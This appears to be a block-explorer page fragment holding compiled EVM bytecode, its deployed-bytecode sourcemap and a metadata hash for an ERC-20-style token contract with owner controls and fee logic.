6000806040838503121561187e57600080fd5b823561188981611853565b946020939093013593505050565b6000806000606084860312156118ac57600080fd5b83356118b781611853565b925060208401356118c781611853565b929592945050506040919091013590565b6000602082840312156118ea57600080fd5b813561081981611853565b6000806040838503121561190857600080fd5b823561191381611853565b9150602083013561192381611853565b809150509250929050565b60006020828403121561194057600080fd5b5035919050565b6000806040838503121561195a57600080fd5b823561196581611853565b91506020830135801515811461192357600080fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610758576107586119af565b6000826119f957634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610758576107586119af565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a3957600080fd5b815161081981611853565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a945784516001600160a01b031683529383019391830191600101611a6f565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611aca57600080fd5b8351925060208401519150604084015190509250925092565b80820180821115610758576107586119af56fea26469706673582212201ef51d52c2591ee35db12253985629840ad3d73ff1fe60cf828c338603e032db64736f6c63430008130033

Deployed ByteCode Sourcemap

13147:11141:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14855:51;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;14855:51:0;;;;;;;;16234:94;;;;;;;;;;-1:-1:-1;16315:5:0;;;;;;;;;;;;-1:-1:-1;;;16315:5:0;;;;16234:94;;;;;;;:::i;17127:248::-;;;;;;;;;;-1:-1:-1;17127:248:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;17127:248:0;1205:187:1;16544:102:0;;;;;;;;;;-1:-1:-1;16626:12:0;;16544:102;;14228:27;;;;;;;;;;;;;;;;18769:415;;;;;;;;;;-1:-1:-1;18769:415:0;;;;;:::i;:::-;;:::i;16654:142::-;;;;;;;;;;;;;:::i;14112:29::-;;;;;;;;;;;;;;;;16442:94;;;;;;;;;;-1:-1:-1;16442:94:0;;13335:1;2000:36:1;;1988:2;1973:18;16442:94:0;1858:184:1;13912:43:0;;;;;;;;;;-1:-1:-1;13912:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13962:48;;;;;;;;;;-1:-1:-1;13962:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14521:40;;;;;;;;;;-1:-1:-1;14521:40:0;;;;;;;;;;;18089:137;;;;;;;;;;-1:-1:-1;18089:137:0;;;;;:::i;:::-;;:::i;:::-;;17383:115;;;;;;;;;;-1:-1:-1;17383:115:0;;;;;:::i;:::-;;:::i;14148:33::-;;;;;;;;;;;;;;;;14188:31;;;;;;;;;;;;;;;;16804:119;;;;;;;;;;-1:-1:-1;16804:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;16897:18:0;16870:7;16897:18;;;:9;:18;;;;;;;16804:119;12556:148;;;;;;;;;;;;;:::i;14735:54::-;;;;;;;;;;;;;;;;14796:52;;;;;;;;;;;;;;;;11897:96;;;;;;;;;;-1:-1:-1;11935:15:0;11978:6;-1:-1:-1;;;;;11978:6:0;11897:96;;;-1:-1:-1;;;;;2479:32:1;;;2461:51;;2449:2;2434:18;11897:96:0;2299:219:1;16336:98:0;;;;;;;;;;-1:-1:-1;16419:7:0;;;;;;;;;;;;-1:-1:-1;;;16419:7:0;;;;16336:98;;14074:31;;;;;;;;;;;;;;;;14338:19;;;;;;;;;;-1:-1:-1;14338:19:0;;;;-1:-1:-1;;;;;14338:19:0;;;18573:188;;;;;;;;;;-1:-1:-1;18573:188:0;;;;;:::i;:::-;;:::i;14400:46::-;;;;;;;;;;-1:-1:-1;14400:46:0;;;;-1:-1:-1;;;;;14400:46:0;;;14366:25;;;;;;;;;;;;;;;;14262:36;;;;;;;;;;;;;;;;13623:108;;;;;;;;;;-1:-1:-1;13623:108:0;;;;-1:-1:-1;;;;;13623:108:0;;;14568:45;;;;;;;;;;-1:-1:-1;14568:45:0;;;;;;;;;;;16931:188;;;;;;;;;;-1:-1:-1;16931:188:0;;;;;:::i;:::-;-1:-1:-1;;;;;17083:19:0;;;17051:7;17083:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;16931:188;17789:140;;;;;;;;;;-1:-1:-1;17789:140:0;;;;;:::i;:::-;;:::i;17506:98::-;;;;;;;;;;;;;:::i;17937:144::-;;;;;;;;;;-1:-1:-1;17937:144:0;;;;;:::i;:::-;;:::i;12859:281::-;;;;;;;;;;-1:-1:-1;12859:281:0;;;;;:::i;:::-;;:::i;21332:150::-;;;;;;;;;;-1:-1:-1;21332:150:0;;;;;:::i;:::-;;:::i;14307:24::-;;;;;;;;;;-1:-1:-1;14307:24:0;;;;-1:-1:-1;;;;;14307:24:0;;;17127:248;17263:10;17229:4;17251:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;17251:32:0;;;;;;;;;;:41;;;17308:37;17229:4;;17251:32;;17308:37;;;;17286:6;160:25:1;;148:2;133:18;;14:177;17308:37:0;;;;;;;;-1:-1:-1;17363:4:0;17127:248;;;;;:::o;18769:415::-;-1:-1:-1;;;;;18924:19:0;;18903:4;18924:19;;;:11;:19;;;;;;;;18944:10;18924:31;;;;;;;;-1:-1:-1;;18924:45:0;18920:199;;19020:87;;;;;;;;;;;-1:-1:-1;;;19020:87:0;;;;;;;;-1:-1:-1;;;;;19020:19:0;;-1:-1:-1;19020:19:0;;;:11;:19;;;;;19040:10;19020:31;;;;;;;;;;:87;;19074:6;;19020:53;:87::i;:::-;-1:-1:-1;;;;;18986:19:0;;;;;;:11;:19;;;;;;;;19006:10;18986:31;;;;;;;:121;18920:199;19136:40;19150:6;19158:9;19169:6;19136:13;:40::i;:::-;19129:47;;18769:415;;;;;;:::o;16654:142::-;16782:4;;-1:-1:-1;;;;;16782:4:0;16707:7;16897:18;;;:9;:18;;;;;;16734:54;;16761:4;;-1:-1:-1;;;;;16761:4:0;16870:7;16897:18;;;:9;:18;;;;;;16734:33;;:12;;;:16;:33::i;:::-;:37;;:54::i;:::-;16727:61;;16654:142;:::o;18089:137::-;12126:6;;-1:-1:-1;;;;;12126:6:0;11114:10;12126:22;12118:67;;;;-1:-1:-1;;;12118:67:0;;;;;;;:::i;:::-;;;;;;;;;18174:22:::1;:44:::0;;-1:-1:-1;;;;;;18174:44:0::1;-1:-1:-1::0;;;;;18174:44:0;;;::::1;::::0;;;::::1;::::0;;18089:137::o;17383:115::-;17438:4;17462:28;17470:7;-1:-1:-1;;17462:7:0;:28::i;12556:148::-;12126:6;;-1:-1:-1;;;;;12126:6:0;11114:10;12126:22;12118:67;;;;-1:-1:-1;;;12118:67:0;;;;;;;:::i;:::-;12663:1:::1;12647:6:::0;;12626:40:::1;::::0;-1:-1:-1;;;;;12647:6:0;;::::1;::::0;12626:40:::1;::::0;12663:1;;12626:40:::1;12694:1;12677:19:::0;;-1:-1:-1;;;;;;12677:19:0::1;::::0;;12556:148::o;18573:188::-;18680:4;18709:44;18723:10;18735:9;18746:6;18709:13;:44::i;17789:140::-;12126:6;;-1:-1:-1;;;;;12126:6:0;11114:10;12126:22;12118:67;;;;-1:-1:-1;;;12118:67:0;;;;;;;:::i;:::-;17918:3:::1;17899:15;17884:12;;:30;;;;:::i;:::-;17883:38;;;;:::i;:::-;17868:12;:53:::0;-1:-1:-1;17789:140:0:o;17506:98::-;17551:19;;:45;;-1:-1:-1;;;17551:45:0;;17585:10;17551:45;;;2461:51:1;-1:-1:-1;;;;;17551:19:0;;;;:33;;2434:18:1;;17551:45:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17506:98::o;17937:144::-;12126:6;;-1:-1:-1;;;;;12126:6:0;11114:10;12126:22;12118:67;;;;-1:-1:-1;;;12118:67:0;;;;;;;:::i;:::-;18070:3:::1;18048:18;18033:12;;:33;;;;:::i;:::-;18032:41;;;;:::i;:::-;18019:10;:54:::0;-1:-1:-1;17937:144:0:o;12859:281::-;12126:6;;-1:-1:-1;;;;;12126:6:0;11114:10;12126:22;12118:67;;;;-1:-1:-1;;;12118:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12962:22:0;::::1;12940:110;;;::::0;-1:-1:-1;;;12940:110:0;;5282:2:1;12940:110:0::1;::::0;::::1;5264:21:1::0;5321:2;5301:18;;;5294:30;5360:34;5340:18;;;5333:62;-1:-1:-1;;;5411:18:1;;;5404:36;5457:19;;12940:110:0::1;5080:402:1::0;12940:110:0::1;13087:6;::::0;;13066:38:::1;::::0;-1:-1:-1;;;;;13066:38:0;;::::1;::::0;13087:6;::::1;::::0;13066:38:::1;::::0;::::1;13115:6;:17:::0;;-1:-1:-1;;;;;;13115:17:0::1;-1:-1:-1::0;;;;;13115:17:0;;;::::1;::::0;;;::::1;::::0;;12859:281::o;21332:150::-;12126:6;;-1:-1:-1;;;;;12126:6:0;11114:10;12126:22;12118:67;;;;-1:-1:-1;;;12118:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;21442:23:0;;;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;21442:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;21332:150::o;509:224::-;629:7;665:12;657:6;;;;649:29;;;;-1:-1:-1;;;649:29:0;;;;;;;;:::i;:::-;-1:-1:-1;689:9:0;701:5;705:1;701;:5;:::i;:::-;689:17;509:224;-1:-1:-1;;;;;509:224:0:o;19192:1723::-;19339:16;;19318:4;;19339:16;;19335:148;;;19372:36;19390:9;19401:6;19372:17;:36::i;:::-;19430:41;19445:6;19453:9;19464:6;19430:14;:41::i;:::-;19423:48;;;;19335:148;19527:4;;-1:-1:-1;;;;;19527:4:0;19513:10;:18;;;;:52;;-1:-1:-1;19549:16:0;;;;19548:17;19513:52;:90;;;;-1:-1:-1;19582:21:0;;;;;;;19513:90;:148;;;;-1:-1:-1;19648:13:0;;19638:4;19620:24;;;;:9;:24;;;;;;:41;;19513:148;19495:215;;;19688:10;:8;:10::i;:::-;17679;;:15;;;19726:32;;-1:-1:-1;19754:4:0;;-1:-1:-1;;;;;19741:17:0;;;19754:4;;19741:17;19726:32;19722:118;;;-1:-1:-1;;;;;19783:17:0;;19803:1;19783:17;;;:9;:17;;;;;;19775:30;;;;;;19820:8;17761:12;17748:10;:25;17710:71;19820:8;-1:-1:-1;;;;;19857:23:0;;;;;;:15;:23;;;;;;;;19852:95;;19913:12;;19903:6;:22;;19895:52;;;;-1:-1:-1;;;19895:52:0;;5822:2:1;19895:52:0;;;5804:21:1;5861:2;5841:18;;;5834:30;-1:-1:-1;;;5880:18:1;;;5873:47;5937:18;;19895:52:0;5620:341:1;19895:52:0;20007:90;;;;;;;;;;;-1:-1:-1;;;20007:90:0;;;;;;;;-1:-1:-1;;;;;20007:17:0;;-1:-1:-1;20007:17:0;;;:9;:17;;;;;;;;:90;;20043:6;;20007:21;:90::i;:::-;-1:-1:-1;;;;;19987:17:0;;;;;;:9;:17;;;;;;;;:110;;;;20133:11;:19;;;;;;;;20132:20;:47;;;;-1:-1:-1;;;;;;20157:22:0;;;;;;:11;:22;;;;;;;;20156:23;20132:47;:119;;20245:6;20132:119;;;20195:34;20203:6;20211:9;20222:6;20195:7;:34::i;:::-;20110:141;;20264:41;20282:9;20293:11;20264:17;:41::i;:::-;-1:-1:-1;;;;;20341:20:0;;;;;;:9;:20;;;;;;:37;;20366:11;20341:24;:37::i;:::-;-1:-1:-1;;;;;20318:20:0;;;;;;;:9;:20;;;;;;;;:60;;;;20425:24;;;;;:16;:24;;;;;;;20420:158;;20487:19;;-1:-1:-1;;;;;20524:17:0;;;20487:19;20524:17;;;:9;:17;;;;;;;;20487:55;;-1:-1:-1;;;20487:55:0;;;;;6140:51:1;;;;6207:18;;;6200:34;20487:19:0;;;:28;;6113:18:1;;20487:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20466:101;;-1:-1:-1;;;;;20595:27:0;;;;;;:16;:27;;;;;;;;20590:167;;20660:19;;-1:-1:-1;;;;;20700:20:0;;;20660:19;20700:20;;;:9;:20;;;;;;;;20660:61;;-1:-1:-1;;;20660:61:0;;;;;6140:51:1;;;;6207:18;;;6200:34;20660:19:0;;;:28;;6113:18:1;;20660:61:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20639:107;;20773:19;;20801:14;;20773:43;;-1:-1:-1;;;;;;20773:43:0;;-1:-1:-1;;;;;20773:19:0;;;;:27;;:43;;;;160:25:1;;;148:2;133:18;;14:177;20773:43:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20769:59;20862:9;-1:-1:-1;;;;;20845:40:0;20854:6;-1:-1:-1;;;;;20845:40:0;;20873:11;20845:40;;;;160:25:1;;148:2;133:18;;14:177;20845:40:0;;;;;;;;-1:-1:-1;20903:4:0;;19192:1723;-1:-1:-1;;;;19192:1723:0:o;365:136::-;423:7;450:43;454:1;457;450:43;;;;;;;;;;;;;;;;;:3;:43::i;23845:248::-;-1:-1:-1;;;;;23928:21:0;;;;;;:15;:21;;;;;;;;23923:162;;24018:10;;23990:24;24010:3;23990:15;24000:4;-1:-1:-1;;;;;16897:18:0;16870:7;16897:18;;;:9;:18;;;;;;;16804:119;23990:15;:19;;:24::i;:::-;:38;;23964:121;;;;-1:-1:-1;;;23964:121:0;;6447:2:1;23964:121:0;;;6429:21:1;6486:2;6466:18;;;6459:30;-1:-1:-1;;;6505:18:1;;;6498:51;6566:18;;23964:121:0;6245:345:1;23964:121:0;23845:248;;:::o;20923:401::-;21087:90;;;;;;;;;;;-1:-1:-1;;;21087:90:0;;;;;;;;-1:-1:-1;;;;;21087:17:0;;21050:4;21087:17;;;:9;:17;;;;;;;:90;;21123:6;;21087:21;:90::i;:::-;-1:-1:-1;;;;;21067:17:0;;;;;;;:9;:17;;;;;;:110;;;;21211:20;;;;;;;:32;;21236:6;21211:24;:32::i;:::-;-1:-1:-1;;;;;21188:20:0;;;;;;;:9;:20;;;;;;;:55;;;;21259:35;;;;;;;;;;21287:6;160:25:1;;148:2;133:18;;14:177;21259:35:0;;;;;;;;-1:-1:-1;21312:4:0;20923:401;;;;;:::o;22051:1786::-;14961:16;:23;;-1:-1:-1;;14961:23:0;14980:4;14961:23;;;22120:13:::1;::::0;14961:16;;22120:17:::1;::::0;22136:1:::1;22120:17;:::i;:::-;22195:4;22150:23;22177:24:::0;;;:9:::1;:24;::::0;;;;;22103:34;;-1:-1:-1;22150:23:0;22177:33;-1:-1:-1;22176:97:0::1;;22267:4;22249:24;::::0;;;:9:::1;:24;::::0;;;;;22176:97:::1;;;22227:6;22176:97;22150:123;;22284:23;22310:96;22404:1;22310:75;22376:8;;22310:47;22344:12;;22310:15;:33;;:47;;;;:::i;:::-;:65:::0;::::1;:75::i;:96::-;22284:122:::0;-1:-1:-1;22417:20:0::1;22440:36;:15:::0;22284:122;22440:19:::1;:36::i;:::-;22513:16;::::0;;22527:1:::1;22513:16:::0;;;;;::::1;::::0;;22417:59;;-1:-1:-1;22489:21:0::1;::::0;22513:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;22513:16:0::1;22489:40;;22558:4;22540;22545:1;22540:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22540:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;22584:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;22584:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;22540:7;;22584:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22574:4;22579:1;22574:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22574:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;22610:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;22610:188:0;;:6;::::1;::::0;:57:::1;::::0;:188:::1;::::0;22682:12;;22610:6:::1;::::0;22725:4;;22752::::1;::::0;22772:15:::1;::::0;22610:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;22900:12:0::1;::::0;22831:21:::1;::::0;-1:-1:-1;22811:17:0::1;::::0;-1:-1:-1;22887:33:0::1;::::0;22900:19:::1;::::0;22917:1:::1;22900:16;:19::i;:::-;22887:8;::::0;;:12:::1;:33::i;:::-;22865:55;;22933:26;22962:93;23053:1;22962:72;23022:11;22962:41;22990:12;;22962:9;:27;;:41;;;;:::i;:93::-;22933:122;;23066:27;23096:66;23140:11;23096:25;23110:10;;23096:9;:13;;:25;;;;:::i;:66::-;23066:96;;23192:19;;;;;;;;;-1:-1:-1::0;;;;;23192:19:0::1;-1:-1:-1::0;;;;;23192:27:0::1;;23227:19;23192:57;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;23175:95:::0;23286:19;;23282:350:::1;;23322:6;::::0;-1:-1:-1;;;;;23322:6:0::1;:22;23352:18:::0;23398:4:::1;23422:15:::0;23322:6:::1;::::0;23496:7:::1;11935:15:::0;11978:6;-1:-1:-1;;;;;11978:6:0;;11897:96;23496:7:::1;23322:230;::::0;::::1;::::0;;;-1:-1:-1;;;;;;23322:230:0;;;-1:-1:-1;;;;;8467:15:1;;;23322:230:0::1;::::0;::::1;8449:34:1::0;8499:18;;;8492:34;;;;8542:18;;;8535:34;;;;8585:18;;;8578:34;8649:15;;;8628:19;;;8621:44;23522:15:0::1;8681:19:1::0;;;8674:35;8383:19;;23322:230:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;23572:48:0::1;::::0;;9205:25:1;;;9261:2;9246:18;;9239:34;;;23572:48:0::1;::::0;-1:-1:-1;9178:18:1;23572:48:0::1;;;;;;;23282:350;23711:22;::::0;:43:::1;::::0;23658:21:::1;::::0;23644:11:::1;::::0;-1:-1:-1;;;;;23711:22:0;;::::1;::::0;23658:21;;23644:11;23711:43;23644:11;23711:43;23658:21;23711:22;:43:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;23792:22:0::1;::::0;23770:59:::1;::::0;160:25:1;;;23692:62:0;;-1:-1:-1;23770:59:0;::::1;;::::0;-1:-1:-1;;;;;23792:22:0;;::::1;::::0;23770:59:::1;::::0;148:2:1;133:18;23770:59:0::1;;;;;;;-1:-1:-1::0;;15007:16:0;:24;;-1:-1:-1;;15007:24:0;;;-1:-1:-1;;;;;;;;;22051:1786:0:o;21490:553::-;21678:4;;21610:7;;;;-1:-1:-1;;;;;21678:4:0;;;21668:14;;;;21664:194;;21711:29;21736:3;21711:20;21722:8;;21711:6;:10;;:20;;;;:::i;:29::-;21699:41;;21664:194;;;21775:4;;-1:-1:-1;;;;;21775:4:0;;;21762:17;;;;21758:100;;21808:38;21842:3;21808:29;21819:17;;21808:6;:10;;:29;;;;:::i;:38::-;21796:50;;21758:100;21915:4;21897:24;;;;:9;:24;;;;;;:39;;21926:9;21897:28;:39::i;:::-;21888:4;21870:24;;;;:9;:24;;;;;;;:66;;;;21952:42;;-1:-1:-1;;;;;21952:42:0;;;;;;;21984:9;160:25:1;;148:2;133:18;;14:177;21952:42:0;;;;;;;;22014:21;:6;22025:9;22014:10;:21::i;178:179::-;236:7;;268:5;272:1;268;:5;:::i;:::-;256:17;;297:1;292;:6;;284:46;;;;-1:-1:-1;;;284:46:0;;9826:2:1;284:46:0;;;9808:21:1;9865:2;9845:18;;;9838:30;9904:29;9884:18;;;9877:57;9951:18;;284:46:0;9624:351:1;741:246:0;799:7;823:1;828;823:6;819:47;;-1:-1:-1;853:1:0;846:8;;819:47;876:9;888:5;892:1;888;:5;:::i;:::-;876:17;-1:-1:-1;921:1:0;912:5;916:1;876:17;912:5;:::i;:::-;:10;904:56;;;;-1:-1:-1;;;904:56:0;;10182:2:1;904:56:0;;;10164:21:1;10221:2;10201:18;;;10194:30;10260:34;10240:18;;;10233:62;-1:-1:-1;;;10311:18:1;;;10304:31;10352:19;;904:56:0;9980:397:1;995:132:0;1053:7;1080:39;1084:1;1087;1080:39;;;;;;;;;;;;;;;;;1255:7;1290:12;1283:5;1275:28;;;;-1:-1:-1;;;1275:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1314:9:0;1326:5;1330:1;1326;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2967:388::-;3035:6;3043;3096:2;3084:9;3075:7;3071:23;3067:32;3064:52;;;3112:1;3109;3102:12;3064:52;3151:9;3138:23;3170:31;3195:5;3170:31;:::i;:::-;3220:5;-1:-1:-1;3277:2:1;3262:18;;3249:32;3290:33;3249:32;3290:33;:::i;:::-;3342:7;3332:17;;;2967:388;;;;;:::o;3360:180::-;3419:6;3472:2;3460:9;3451:7;3447:23;3443:32;3440:52;;;3488:1;3485;3478:12;3440:52;-1:-1:-1;3511:23:1;;3360:180;-1:-1:-1;3360:180:1:o;3545:416::-;3610:6;3618;3671:2;3659:9;3650:7;3646:23;3642:32;3639:52;;;3687:1;3684;3677:12;3639:52;3726:9;3713:23;3745:31;3770:5;3745:31;:::i;:::-;3795:5;-1:-1:-1;3852:2:1;3837:18;;3824:32;3894:15;;3887:23;3875:36;;3865:64;;3925:1;3922;3915:12;4192:356;4394:2;4376:21;;;4413:18;;;4406:30;4472:34;4467:2;4452:18;;4445:62;4539:2;4524:18;;4192:356::o;4553:127::-;4614:10;4609:3;4605:20;4602:1;4595:31;4645:4;4642:1;4635:15;4669:4;4666:1;4659:15;4685:168;4758:9;;;4789;;4806:15;;;4800:22;;4786:37;4776:71;;4827:18;;:::i;4858:217::-;4898:1;4924;4914:132;;4968:10;4963:3;4959:20;4956:1;4949:31;5003:4;5000:1;4993:15;5031:4;5028:1;5021:15;4914:132;-1:-1:-1;5060:9:1;;4858:217::o;5487:128::-;5554:9;;;5575:11;;;5572:37;;;5589:18;;:::i;6727:127::-;6788:10;6783:3;6779:20;6776:1;6769:31;6819:4;6816:1;6809:15;6843:4;6840:1;6833:15;6859:251;6929:6;6982:2;6970:9;6961:7;6957:23;6953:32;6950:52;;;6998:1;6995;6988:12;6950:52;7030:9;7024:16;7049:31;7074:5;7049:31;:::i;7115:980::-;7377:4;7425:3;7414:9;7410:19;7456:6;7445:9;7438:25;7482:2;7520:6;7515:2;7504:9;7500:18;7493:34;7563:3;7558:2;7547:9;7543:18;7536:31;7587:6;7622;7616:13;7653:6;7645;7638:22;7691:3;7680:9;7676:19;7669:26;;7730:2;7722:6;7718:15;7704:29;;7751:1;7761:195;7775:6;7772:1;7769:13;7761:195;;;7840:13;;-1:-1:-1;;;;;7836:39:1;7824:52;;7931:15;;;;7896:12;;;;7872:1;7790:9;7761:195;;;-1:-1:-1;;;;;;;8012:32:1;;;;8007:2;7992:18;;7985:60;-1:-1:-1;;;8076:3:1;8061:19;8054:35;7973:3;7115:980;-1:-1:-1;;;7115:980:1:o;8720:306::-;8808:6;8816;8824;8877:2;8865:9;8856:7;8852:23;8848:32;8845:52;;;8893:1;8890;8883:12;8845:52;8922:9;8916:16;8906:26;;8972:2;8961:9;8957:18;8951:25;8941:35;;9016:2;9005:9;9001:18;8995:25;8985:35;;8720:306;;;;;:::o;9494:125::-;9559:9;;;9580:10;;;9577:36;;;9593:18;;:::i

Metadata Hash

ipfs://36a9e75eff0b5037c3952d0d71e0c9f29033c55e9acb51ba41aeda1defac613e
Loading